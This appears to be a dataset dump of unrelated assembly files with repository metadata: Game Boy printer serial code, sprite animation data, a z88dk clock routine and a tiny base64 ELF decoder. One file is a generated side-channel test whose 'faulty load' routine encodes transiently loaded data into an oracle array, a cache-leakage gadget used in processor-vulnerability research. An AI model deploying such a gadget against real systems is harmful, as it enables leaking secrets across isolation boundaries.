SET r_Flags, r_Flags, ICSS_ESPI_CS_DEASSERT_BAD_FLAG_BIT
XOUT BANK0, &r_Flags, 4
JMP READY_STATE
| 36.51269
| 91
| 0.690811
|
e8cec034590d06e09951c1fbfdd3d1cfff8863b5
| 11,871
|
asm
|
Assembly
|
engine/printer/printer_serial.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
engine/printer/printer_serial.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
engine/printer/printer_serial.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
Printer_StartTransmission:
ld hl, wGameboyPrinterRAM
ld bc, wGameboyPrinterRAMEnd - wGameboyPrinterRAM
xor a
call Printer_ByteFill
xor a
ldh [rSB], a
ldh [rSC], a
ld [wPrinterOpcode], a
ld hl, wPrinterConnectionOpen
set 0, [hl]
ld a, [wGBPrinterBrightness]
ld [wPrinterExposureTime], a
xor a
ld [wJumptableIndex], a
ret
PrinterJumptableIteration:
ld a, [wJumptableIndex]
ld e, a
ld d, 0
ld hl, .Jumptable
add hl, de
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
.Jumptable:
dw Print_InitPrinterHandshake ; 00
dw Printer_CheckConnectionStatus ; 01
dw Printer_WaitSerial ; 02
dw Printer_StartTransmittingTilemap ; 03
dw Printer_TransmissionLoop ; 04
dw Printer_WaitSerialAndLoopBack2 ; 05
dw Printer_EndTilemapTransmission ; 06
dw Printer_TransmissionLoop ; 07
dw Printer_WaitSerial ; 08
dw Printer_SignalSendHeader ; 09
dw Printer_TransmissionLoop ; 0a
dw Printer_WaitSerial ; 0b
dw Printer_WaitUntilFinished ; 0c
dw Printer_Quit ; 0d
dw Printer_NextSection ; 0e
dw Printer_WaitSerial ; 0f
dw Printer_SignalLoopBack ; 10
dw Printer_SectionOne ; 11
dw Printer_NextSectionWaitLoopBack ; 12
dw Printer_WaitLoopBack ; 13
_Printer_NextSection:
ld hl, wJumptableIndex
inc [hl]
ret
Printer_PrevSection:
ld hl, wJumptableIndex
dec [hl]
ret
Printer_Quit:
xor a
ld [wPrinterStatusFlags], a
ld hl, wJumptableIndex
set 7, [hl]
ret
Printer_NextSection:
call _Printer_NextSection
ret
Printer_SectionOne:
ld a, $1
ld [wJumptableIndex], a
ret
Print_InitPrinterHandshake:
call Printer_ResetData
ld hl, PrinterDataPacket1
call Printer_CopyPacket
xor a
ld [wPrinterSendByteCounter], a
ld [wPrinterSendByteCounter + 1], a
ld a, [wPrinterQueueLength]
ld [wPrinterRowIndex], a
call _Printer_NextSection
call Printer_WaitHandshake
ld a, PRINTER_STATUS_CHECKING
ld [wPrinterStatus], a
ret
Printer_StartTransmittingTilemap:
call Printer_ResetData
; check ???
ld hl, wPrinterRowIndex
ld a, [hl]
and a
jr z, Printer_EndTilemapTransmission
; send packet 3
ld hl, PrinterDataPacket3 ; signal start of transmission
call Printer_CopyPacket
; prepare to send 40 tiles
call Printer_Convert2RowsTo2bpp
ld a, LOW(40 tiles)
ld [wPrinterSendByteCounter], a
ld a, HIGH(40 tiles)
ld [wPrinterSendByteCounter + 1], a
; compute the checksum
call Printer_ComputeChecksum
call _Printer_NextSection
call Printer_WaitHandshake
ld a, PRINTER_STATUS_TRANSMITTING
ld [wPrinterStatus], a
ret
Printer_EndTilemapTransmission:
; ensure that we go from here to routine 7
ld a, $6
ld [wJumptableIndex], a
; send packet 4
ld hl, PrinterDataPacket4 ; signal no transmission
call Printer_CopyPacket
; send no tile data
xor a
ld [wPrinterSendByteCounter], a
ld [wPrinterSendByteCounter + 1], a
call _Printer_NextSection
call Printer_WaitHandshake
ret
Printer_SignalSendHeader:
call Printer_ResetData
ld hl, PrinterDataPacket2 ; signal request print
call Printer_CopyPacket
; prepare to send 1 tile
call Printer_StageHeaderForSend
ld a, LOW(4)
ld [wPrinterSendByteCounter], a
ld a, HIGH(4)
ld [wPrinterSendByteCounter + 1], a
; compute the checksum
call Printer_ComputeChecksum
call _Printer_NextSection
call Printer_WaitHandshake
ld a, PRINTER_STATUS_PRINTING
ld [wPrinterStatus], a
ret
Printer_SignalLoopBack:
call Printer_ResetData
; send packet 1
ld hl, PrinterDataPacket1 ; signal no transmission
call Printer_CopyPacket
; send no tile data
xor a
ld [wPrinterSendByteCounter], a
ld [wPrinterSendByteCounter + 1], a
ld a, [wPrinterQueueLength]
ld [wPrinterRowIndex], a
call _Printer_NextSection
call Printer_WaitHandshake
ret
Printer_WaitSerial:
ld hl, wPrinterSerialFrameDelay
inc [hl]
ld a, [hl]
cp $6
ret c
xor a
ld [hl], a
call _Printer_NextSection
ret
Printer_WaitSerialAndLoopBack2:
ld hl, wPrinterSerialFrameDelay
inc [hl]
ld a, [hl]
cp $6
ret c
xor a
ld [hl], a
ld hl, wPrinterRowIndex
dec [hl]
call Printer_PrevSection
call Printer_PrevSection
ret
Printer_CheckConnectionStatus:
ld a, [wPrinterOpcode]
and a
ret nz
ld a, [wPrinterHandshake]
cp $ff
jr nz, .printer_connected
ld a, [wPrinterStatusFlags]
cp $ff
jr z, .printer_error
.printer_connected
ld a, [wPrinterHandshake]
cp $81
jr nz, .printer_error
ld a, [wPrinterStatusFlags]
cp $0
jr nz, .printer_error
ld hl, wPrinterConnectionOpen
set 1, [hl]
ld a, $5
ld [wHandshakeFrameDelay], a
call _Printer_NextSection
ret
.printer_error
ld a, $ff
ld [wPrinterHandshake], a
ld [wPrinterStatusFlags], a
ld a, $e
ld [wJumptableIndex], a
ret
Printer_TransmissionLoop:
ld a, [wPrinterOpcode]
and a
ret nz
ld a, [wPrinterStatusFlags]
and $f0
jr nz, .enter_wait_loop
ld a, [wPrinterStatusFlags]
and $1
jr nz, .cycle_back
call _Printer_NextSection
ret
.cycle_back
call Printer_PrevSection
ret
.enter_wait_loop
ld a, $12 ; Printer_NextSectionWaitLoopBack
ld [wJumptableIndex], a
ret
Printer_WaitUntilFinished:
ld a, [wPrinterOpcode]
and a
ret nz
ld a, [wPrinterStatusFlags]
and $f3
ret nz
call _Printer_NextSection
ret
Printer_NextSectionWaitLoopBack:
call _Printer_NextSection
Printer_WaitLoopBack:
ld a, [wPrinterOpcode]
and a
ret nz
ld a, [wPrinterStatusFlags]
and $f0
ret nz
xor a
ld [wJumptableIndex], a
ret
Printer_WaitHandshake:
.loop
ld a, [wPrinterOpcode]
and a
jr nz, .loop
xor a
ld [wPrinterSendByteOffset], a
ld [wPrinterSendByteOffset + 1], a
ld a, $1
ld [wPrinterOpcode], a
ld a, $88
ldh [rSB], a
ld a, (0 << rSC_ON) | (1 << rSC_CLOCK)
ldh [rSC], a
ld a, (1 << rSC_ON) | (1 << rSC_CLOCK)
ldh [rSC], a
ret
Printer_CopyPacket:
ld a, [hli]
ld [wPrinterData], a
ld a, [hli]
ld [wPrinterData + 1], a
ld a, [hli]
ld [wPrinterData + 2], a
ld a, [hli]
ld [wPrinterData + 3], a
ld a, [hli]
ld [wPrinterChecksum], a
ld a, [hl]
ld [wPrinterChecksum + 1], a
ret
Printer_ResetData:
xor a
ld hl, wPrinterData
ld [hli], a
ld [hli], a
ld [hli], a
ld [hl], a
ld hl, wPrinterChecksum
ld [hli], a
ld [hl], a
xor a
ld [wPrinterSendByteCounter], a
ld [wPrinterSendByteCounter + 1], a
ld hl, wGameboyPrinterRAM
ld bc, wGameboyPrinter2bppSourceEnd - wGameboyPrinter2bppSource
call Printer_ByteFill
ret
Printer_ComputeChecksum:
ld hl, 0
ld bc, 4
ld de, wPrinterData
call .ComputeChecksum
ld a, [wPrinterSendByteCounter]
ld c, a
ld a, [wPrinterSendByteCounter + 1]
ld b, a
ld de, wGameboyPrinterRAM
call .ComputeChecksum
ld a, l
ld [wPrinterChecksum], a
ld a, h
ld [wPrinterChecksum + 1], a
ret
.ComputeChecksum:
.loop
ld a, [de]
inc de
add l
jr nc, .no_overflow
inc h
.no_overflow
ld l, a
dec bc
ld a, c
or b
jr nz, .loop
ret
Printer_StageHeaderForSend:
ld a, $1
ld [wGameboyPrinter2bppSource + 0], a
ld a, [wPrinterMargins]
ld [wGameboyPrinter2bppSource + 1], a
ld a, %11100100 ; 3,2,1,0
ld [wGameboyPrinter2bppSource + 2], a
ld a, [wPrinterExposureTime]
ld [wGameboyPrinter2bppSource + 3], a
ret
Printer_Convert2RowsTo2bpp:
; de = wPrinterTileMapBuffer + 2 * SCREEN_WIDTH * ([wPrinterQueueLength] - [wPrinterRowIndex])
ld a, [wPrinterRowIndex]
xor $ff
ld d, a
ld a, [wPrinterQueueLength]
inc a
add d
ld hl, wPrinterTileMapBuffer
ld de, 2 * SCREEN_WIDTH
.loop1
and a
jr z, .okay1
add hl, de
dec a
jr .loop1
.okay1
ld e, l
ld d, h
ld hl, wGameboyPrinter2bppSource
ld c, 2 * SCREEN_WIDTH
.loop2
ld a, [de]
inc de
push bc
push de
push hl
; convert tile index to vram address
swap a
ld d, a
and $f0
ld e, a
ld a, d
and $f
ld d, a
and $8
ld a, d
jr nz, .vtiles_8xxx
or $90
jr .got_vtile_addr
.vtiles_8xxx
or $80
.got_vtile_addr
ld d, a
; copy 1 vtile to hl
lb bc, BANK(Printer_Convert2RowsTo2bpp), 1
call Request2bpp
pop hl
ld de, 1 tiles
add hl, de
pop de
pop bc
dec c
jr nz, .loop2
ret
Printer_ByteFill:
push de
ld e, a
.loop
ld [hl], e
inc hl
dec bc
ld a, c
or b
jr nz, .loop
ld a, e
pop de
ret
PrinterDataPacket1:
db 1, 0, $00, 0
dw 1
PrinterDataPacket2:
db 2, 0, $04, 0
dw 0
PrinterDataPacket3:
db 4, 0, $80, 2
dw 0
PrinterDataPacket4:
db 4, 0, $00, 0
dw 4
PrinterDataPacket5: ; unused
db 8, 0, $00, 0
dw 8
PrinterDataPacket6: ; unused
db 15, 0, $00, 0
dw 15
_PrinterReceive::
ld a, [wPrinterOpcode]
add a
ld e, a
ld d, 0
ld hl, .Jumptable
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
.Jumptable:
dw Printer_DoNothing ; 00
dw Printer_Send0x33 ; 01
dw Printer_SendPrinterData1 ; 02
dw Printer_SendPrinterData2 ; 03
dw Printer_SendPrinterData3 ; 04
dw Printer_SendPrinterData4 ; 05
dw Printer_SendNextByte ; 06
dw Printer_SendwPrinterChecksumLo ; 07
dw Printer_SendwPrinterChecksumHi ; 08
dw Printer_Send0x00_2 ; 09
dw Printer_ReceiveTwoPrinterHandshakeAndSend0x00 ; 0a
dw Printer_ReceiveTwoPrinterStatusFlagsAndExitSendLoop ; 0b
dw Printer_Send0x33 ; 0c triggered by AskSerial
dw Printer_Send0x0f ; 0d
dw Printer_Send0x00 ; 0e
dw Printer_Send0x00 ; 0f
dw Printer_Send0x00 ; 10
dw Printer_Send0x0f ; 11
dw Printer_Send0x00 ; 12
dw Printer_Send0x00_2 ; 13
dw Printer_ReceiveTwoPrinterHandshakeAndSend0x00 ; 14
dw Printer_ReceiveTwoPrinterStatusFlagsAndExitSendLoop_2 ; 15
dw Printer_Send0x33 ; 16 triggered by pressing B
dw Printer_Send0x08 ; 17
dw Printer_Send0x00 ; 18
dw Printer_Send0x00 ; 19
dw Printer_Send0x00 ; 1a
dw Printer_Send0x08 ; 1b
dw Printer_Send0x00 ; 1c
dw Printer_Send0x00_2 ; 1d
dw Printer_ReceiveTwoPrinterHandshakeAndSend0x00 ; 1e
dw Printer_ReceiveTwoPrinterStatusFlagsAndExitSendLoop ; 1f
Printer_NextInstruction:
ld hl, wPrinterOpcode
inc [hl]
ret
Printer_DoNothing:
ret
Printer_Send0x33:
ld a, $33
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_SendPrinterData1:
ld a, [wPrinterData]
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_SendPrinterData2:
ld a, [wPrinterData + 1]
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_SendPrinterData3:
ld a, [wPrinterData + 2]
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_SendPrinterData4:
ld a, [wPrinterData + 3]
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_SendNextByte:
; decrement 16-bit counter
ld hl, wPrinterSendByteCounter
ld a, [hli]
ld d, [hl]
ld e, a
or d
jr z, .done
dec de
ld [hl], d
dec hl
ld [hl], e
ld a, [wPrinterSendByteOffset]
ld e, a
ld a, [wPrinterSendByteOffset + 1]
ld d, a
ld hl, wGameboyPrinterRAM
add hl, de
inc de
ld a, e
ld [wPrinterSendByteOffset], a
ld a, d
ld [wPrinterSendByteOffset + 1], a
ld a, [hl]
call Printer_SerialSend
ret
.done
call Printer_NextInstruction
Printer_SendwPrinterChecksumLo:
ld a, [wPrinterChecksum]
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_SendwPrinterChecksumHi:
ld a, [wPrinterChecksum + 1]
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_Send0x00_2:
; identical to Printer_Send0x00, but referenced less
ld a, $0
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_ReceiveTwoPrinterHandshakeAndSend0x00:
ldh a, [rSB]
ld [wPrinterHandshake], a
ld a, $0
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_ReceiveTwoPrinterStatusFlagsAndExitSendLoop:
ldh a, [rSB]
ld [wPrinterStatusFlags], a
xor a
ld [wPrinterOpcode], a
ret
Printer_Send0x0f:
ld a, $f
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_Send0x00:
ld a, $0
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_Send0x08:
ld a, $8
call Printer_SerialSend
call Printer_NextInstruction
ret
Printer_SerialSend:
ldh [rSB], a
ld a, (0 << rSC_ON) | (1 << rSC_CLOCK)
ldh [rSC], a
ld a, (1 << rSC_ON) | (1 << rSC_CLOCK)
ldh [rSC], a
ret
Printer_ReceiveTwoPrinterStatusFlagsAndExitSendLoop_2:
; identical to Printer_ReceiveTwoPrinterStatusFlagsAndExitSendLoop, but referenced less
ldh a, [rSB]
ld [wPrinterStatusFlags], a
xor a
ld [wPrinterOpcode], a
ret
| 18.606583
| 95
| 0.749389
|
383a8424d76308d129284e293955ccb49d4f523a
| 126
|
asm
|
Assembly
|
gfx/pokemon/grovyle/anim.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
gfx/pokemon/grovyle/anim.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
gfx/pokemon/grovyle/anim.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
frame 1, 14
frame 2, 14
frame 1, 17
frame 2, 10
frame 3, 04
frame 4, 06
frame 2, 08
frame 3, 04
frame 4, 08
endanim
| 11.454545
| 12
| 0.626984
|
e82279de237f45ace641e05be512afc5f710f25b
| 6,732
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i3-7100_9_0x84_notsx.log_21829_2171.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i3-7100_9_0x84_notsx.log_21829_2171.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i3-7100_9_0x84_notsx.log_21829_2171.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x4457, %r8
nop
sub %r9, %r9
movb $0x61, (%r8)
nop
nop
sub $45078, %r15
lea addresses_normal_ht+0x13e2b, %r8
dec %r10
mov $0x6162636465666768, %r11
movq %r11, %xmm0
vmovups %ymm0, (%r8)
nop
nop
nop
nop
sub $63014, %r8
lea addresses_A_ht+0x15e37, %r10
clflush (%r10)
nop
nop
nop
nop
cmp $4894, %r9
mov (%r10), %r8
nop
nop
inc %r8
lea addresses_UC_ht+0xe9e9, %rsi
lea addresses_A_ht+0x1e86f, %rdi
clflush (%rsi)
nop
nop
nop
nop
add $25036, %r8
mov $87, %rcx
rep movsq
nop
nop
nop
nop
cmp $40288, %rsi
lea addresses_normal_ht+0x8b37, %r9
nop
nop
nop
nop
dec %rsi
movw $0x6162, (%r9)
sub %rcx, %rcx
lea addresses_WC_ht+0xd4f7, %r8
nop
and %r11, %r11
mov (%r8), %r10
nop
nop
nop
nop
nop
add $37727, %r9
lea addresses_WC_ht+0x1df67, %rsi
lea addresses_UC_ht+0x163b7, %rdi
nop
nop
nop
nop
nop
sub $47976, %r10
mov $46, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $13352, %r15
lea addresses_A_ht+0x14a37, %r11
nop
nop
dec %r9
movl $0x61626364, (%r11)
add $20240, %rdi
lea addresses_A_ht+0xca37, %rsi
lea addresses_normal_ht+0xb49b, %rdi
nop
nop
nop
cmp %rbp, %rbp
mov $26, %rcx
rep movsb
sub $18286, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %rax
push %rdx
push %rsi
// Load
lea addresses_UC+0x1a1d, %rsi
nop
add %rax, %rax
mov (%rsi), %r15w
cmp %r8, %r8
// Store
lea addresses_WT+0x441f, %rax
clflush (%rax)
nop
nop
nop
nop
and $35398, %r13
mov $0x5152535455565758, %rdx
movq %rdx, %xmm6
vmovntdq %ymm6, (%rax)
sub $28607, %r12
// Faulty Load
lea addresses_UC+0xe637, %r8
nop
xor %rax, %rax
movaps (%r8), %xmm0
vpextrq $1, %xmm0, %r15
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rsi
pop %rdx
pop %rax
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'00': 18835, '45': 2994}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 45 00 00 00 00 00 00 00 00 45 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 45 00 45 00 45 00 00 00 00 00 00 00 00 00 00 45 00 45 00 45 00 00
*/
| 36.389189
| 2,999
| 0.65612
|
1914c0fd0ec6d99bba07466dc944969f4dc65c52
| 315
|
asm
|
Assembly
|
libsrc/time/newbrain/clock.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/time/newbrain/clock.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/time/newbrain/clock.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
;
; Grundy NewBrain clock()
;
; stefano 5/4/2007
;
; ------
; $Id: clock.asm,v 1.5 2016-06-12 17:02:26 dom Exp $
;
SECTION code_clib
PUBLIC clock
PUBLIC _clock
EXTERN nbclockptr
.clock
._clock
ld hl,(nbclockptr)
ld c,(hl)
inc hl
ld b,(hl)
inc hl
ld e,(hl)
inc hl
ld d,(hl)
ld h,b
ld l,c
ret
| 11.25
| 52
| 0.606349
|
e44f0d662d5dba30f11b52fa101476fb94fd434b
| 5,759
|
asm
|
Assembly
|
src/test/resources/elfsamples/tiny/base64.asm
|
thingswars/johnnyriscv
|
7310af27952cf9e121a2237a9478ff6c06599a8d
|
[
"Apache-2.0"
] | 3
|
2016-07-15T20:35:12.000Z
|
2018-08-07T18:55:33.000Z
|
src/test/resources/elfsamples/tiny/base64.asm
|
thingswars/johnnyriscv
|
7310af27952cf9e121a2237a9478ff6c06599a8d
|
[
"Apache-2.0"
] | null | null | null |
src/test/resources/elfsamples/tiny/base64.asm
|
thingswars/johnnyriscv
|
7310af27952cf9e121a2237a9478ff6c06599a8d
|
[
"Apache-2.0"
] | null | null | null |
;; base64.asm: Copyright (C) 2009 Brian Raiter <breadbox@muppetlabs.com>
;; Licensed under the terms of the GNU General Public License, either
;; version 2 or (at your option) any later version.
;;
;; To build:
;; nasm -f bin -o base64 base64.asm && chmod +x base64
;;
;; Usage: base64 [FILE]
;; base64 reads base64-encoded text from FILE, or from standard input
;; if FILE is omitted, and writes the decoded bytes to stdout.
;; The exit status is zero on success, or an errno code on error.
BITS 32
;; Maximum size of the input buffer.
%define BUFSIZ 8192
;; The executable's ELF header and program header table, which overlap
;; each other slightly. The program header table defines a single
;; segment of memory, with both write and execute permissions set,
;; which is loaded with contents of the entire file plus enough space
;; after to hold the program's I/O buffers. The entry point for the
;; program appears within the program header table. The initial code
;; sets eax to 5, edi to 256, removes argc, argv[0], and argv[1] from
;; the stack, and sets the zero flag if argc is one.
org 0x5B05B000
db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident
dd 0
dd 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw 0x34 ; e_ehsize
dw 0x20 ; e_phentsize
phdr: dw 1 ; e_phnum ; p_type
dw 0 ; e_shentsize
dw 0 ; e_shnum ; p_offset
dw 0 ; e_shstrndx
db 0 ; p_vaddr
_start: mov al, 5
pop ebx
dec ebx ; p_paddr
pop ebx
pop ebx
mov edi, 256 ; p_filesz
jmp short setup ; p_memsz
dw 0
dd 7 ; p_flags
dd 0x1000 ; p_align
;; The program jumps here to reenter the inner loop after the input
;; buffer has been refilled. The buffer size count is moved to ebx,
;; while eax has its high bytes cleared.
resume:
xchg eax, ebx
;; The program's inner loop. Successive bytes are retrieved from the
;; input buffer and examined. Byte values less than '+' (e.g.
;; whitespace characters) are ignored. The remaining values are looked
;; up in hextable and the bit pattern is appended to edi. When four
;; such values have been accumulated, the three bytes so formed are
;; added to the output buffer, and edi is cleared. (Note that the
;; hextable entry for '=' has the value 0xFF, which causes the overall
;; size of the output buffer to be decremented.) The loop continues
;; until the input buffer's content is exhausted.
byteloop:
mov al, [ecx]
inc ecx
cmp al, '+'
jl short nextchar
mov al, [hextable + eax]
cmp al, 0xFE
adc ebp, byte -1
or edi, eax
shl edi, 6
jnc short nextchar
bswap edi
mov [edx], edi
lea edx, [byte edx + ebp + 3]
pop edi
push edi
nextchar: inc ebx
jnz short byteloop
;; ebx is incremented to one, indicating stdout, and the contents of
;; the output buffer are passed to the write system call. write is
;; called repeatedly until the entire buffer has been output (or until
;; an error is returned, in which case the program exits).
inc ebx
sub edx, ecx
writeloop: lea eax, [byte ebx + 3]
int 0x80
neg eax
jns short errorout
sub ecx, eax
add edx, eax
jnz short writeloop
;; ecx is pointed to the start of the input buffer and the read system
;; call is invoked. If a positive value is returned, then edx is
;; pointed to output buffer, located just past the input, and the
;; program jumps into the inner loop.
